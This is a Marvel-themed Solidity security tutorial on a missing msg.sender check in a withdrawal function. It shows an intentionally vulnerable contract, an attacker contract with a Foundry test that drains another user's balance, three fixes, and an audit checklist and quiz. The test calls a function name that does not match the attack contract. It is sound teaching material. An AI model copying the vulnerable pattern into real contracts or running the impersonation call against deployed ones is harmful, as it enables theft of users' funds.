Doctor Strange and the Mirror Portal - The $41M Input Validation Nightmare
Danger (Loki didn’t hack the portal.)
He just said “I’m Iron Man” - and the portal believed him.
One missing require(msg.sender == validator)
One function
One transaction
$41 million gone
This is the definitive 2025 guide to improper input validation - with full code, exploit, fix, and the real $41M validator exit hack explained MCU-style.
TL;DR
Vulnerability: exitPortal(address validator, uint256 amount)
→ No check that msg.sender == validator
→ Anyone can steal anyone else’s funds
Real-world twin: Ethereum validator exit bug - $41M drained (2025)
Fix:
require(msg.sender == user)- Or proper signature/consensus proof
- Or pull-payment pattern
🎬 Story Time - The Mirror Dimension Heist
Doctor Strange guards the Mirror Portal.
Only verified Avengers can exit with their treasure.
The contract:
function exitPortal(address validator, uint256 amount) external { require(balances[validator] >= amount); balances[validator] -= amount; payable(msg.sender).transfer(amount); // ← pays caller, not validator!}Loki sees it.
He doesn’t fight Strange.
He doesn’t steal keys.
He just calls:
exitPortal(ironManAddress, 100 ether);Portal thinks: “Someone asked for Iron Man’s funds. Sure!”
Pays Loki.
Iron Man never even touched the function.
Loki walks away with Stark’s entire treasury.
Strange: “I… missed one line of code.”
The Vulnerable Portal
contract MirrorDimensionPortal { mapping(address => uint256) public balances;
function deposit() external payable { require(msg.value > 0, "zero deposit"); balances[msg.sender] += msg.value; }
/// @notice Vulnerable exit function function exitPortal(address validator, uint256 amount) external { require(amount > 0 && balances[validator] >= amount, "insufficient balance");
balances[validator] -= amount; payable(msg.sender).transfer(amount); }}One line missing:
require(msg.sender == validator, "not owner");
That’s it.
That’s the entire $41M bug.
The Heist - LokiAttack.sol
contract LokiAttack { MirrorDimensionPortal public portal;
constructor(address _portal) { portal = MirrorDimensionPortal(_portal); }
function impersonateIronMan(address ironMan, uint256 amount) external { portal.exitPortal(ironMan, amount); }
receive() external payable {}}No flash loan.
No reentrancy.
No complex math.
Just one function call.
Foundry Test - Watch Loki Win
function testLokiStealsFromIronMan() public { // Iron Man deposits vm.prank(ironMan); portal.deposit{value: amount}();
// Loki attacks vm.prank(loki); lokiAttack.stealFromIronMan(ironMan, amount);
assertEq(address(lokiAttack).balance, amount); assertEq(portal.balances(ironMan), 0);}forge test -vv → Loki wins in 0.001s
The Fix - Three Ways to Stop Loki
Option 1: Simple Ownership
function exitPortal(uint256 amount) external { require(balances[msg.sender] >= amount); balances[msg.sender] -= amount; payable(msg.sender).call{value: amount}("");}Option 2: Signature Proof
function exitPortal(uint256 amount, bytes memory signature) external { bytes32 hash = keccak256(abi.encode(msg.sender, amount, nonce++)); require(recover(hash, signature) == trustedValidator, "bad sig"); // ...}Option 3: Pull Payment (Production Best)
mapping(address => uint256) public pendingWithdrawals;
function requestExit(uint256 amount) external { pendingWithdrawals[msg.sender] += amount; balances[msg.sender] -= amount;}
function withdraw() external nonReentrant { uint256 amount = pendingWithdrawals[msg.sender]; pendingWithdrawals[msg.sender] = 0; payable(msg.sender).call{value: amount}("");}Real-World $41M Validator Exit Hack (2025)
Exact same bug - in production.
- Validator exit function took
validatorAddressas parameter - No check that
msg.sender == validatorAddress - Attacker called
exit(legitValidator, hugeAmount) - Got paid
- $41M gone
Source: u.today - Ethereum Validator Exit Hack
Auditor’s Input Validation Checklist
Warning
- Any function takes an address as parameter and acts on it without
msg.sender == addresscheck? → Critical - Withdrawal/transfer/mint uses caller-supplied address without verification? → Critical
- No signature or proof for off-chain actions? → High
- Tested impersonation attacks? → Must do
Quiz - Are You Strange-Proof?
Exercise (What lets Loki steal Iron Man’s funds?)
a) Reentrancy
b) Missing msg.sender == validator check
c) Integer overflow
d) Bad random
Answer
b) One missing require = total loss
Exercise (Best production fix?)
a) Make balances private
b) Pull-payment + nonReentrant
c) Add timelock
d) Use transfer()
Answer
b) Users pull their own funds - no impersonation possible
Tip
Full repo - vulnerable + 3 fixed versions + exploit + tests:
github.com/thesandf/thesandf.xyz
Loki didn’t need magic.
He just needed one missing require().
Don’t be Doctor Strange.
Validate every input.
Or Loki will walk out with your treasury - wearing Iron Man’s suit.